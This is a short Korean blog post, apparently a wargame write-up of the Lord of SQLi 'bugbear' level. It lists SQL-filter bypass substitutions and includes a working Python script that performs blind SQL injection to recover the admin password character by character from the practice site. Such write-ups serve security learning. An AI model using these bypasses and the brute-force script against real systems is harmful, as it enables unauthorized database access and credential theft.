13. LOS - bugbear
2020. 11. 30. 11:57ㆍWarGame/LOS
LOS 이어서 올클 도전해보겠다.
들어가면 해당 화면이 나온다.
pw 에서 ' 필터링 당하니까
[https://los.rubiya.kr/chall/bugbear\_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=1234&7no=2134]
형식으로 ' 사용안하고 pw넘어갈 수 있다.
그 다음이 문제인데 "no" 인자에서 우회 가능목록은
"'" --> no 에서 '(쿼터) 사용 안함
substr, ascii --> mid(pw, n, 1)
=, like --> id in ("admin")
or,and --> ||, &&(%26%26)
공백 --> %0a,%0b,%0c,%0d
으로 우회하면 다 우회 가능하다.
으로 8자리인 것 확인 가능하다.
이전 방법으로 mid사용해서 1번째 자리 구할 수 있고,
import requests
import string
num_alpa = string.digits + string.ascii_letters
cookies = {'PHPSESSID': 'l3toagi0tdl3lhfji1bkfaj7dk'}
#https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=123&&no=12%0d||mid(pw,1,1)%0din%0d("0")--%0d-
key = ""
print(num_alpa)
for i in range(1, 9) :
for j in num_alpa :
URL = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=123&&no=12%0d||%0did%0din%0d(\"admin\")%0d%26%26mid(pw," + str(i) + ",1)%0din%0d(\"" + j + "\")--%0d-"
response = requests.get(URL, cookies=cookies)
if "Hello admin" in response.text :
key += j
print("[" + str(i) + "]th password : " + j)
break;
print(key)
해당 코드 사용해서 자동화 툴 돌렸다.
다만 no 구문 뒤에
id in ("admin")을 꼭 넣어줘야지 admin의 패스워드로 인식된다
해당 구문 까먹고 해서 3, 7번쨰 비번 안나와서 삽질 좀 했다.
그럼 풀린다.
'WarGame > LOS' 카테고리의 다른 글
15. LOS - assassin (0) | 2021.01.29 |
---|---|
14. LOS - gian (0) | 2021.01.28 |
12. LOS - darknight (0) | 2018.08.09 |
11. LOS - golem (0) | 2018.08.08 |
10. LOS - skeleton (0) | 2018.08.07 |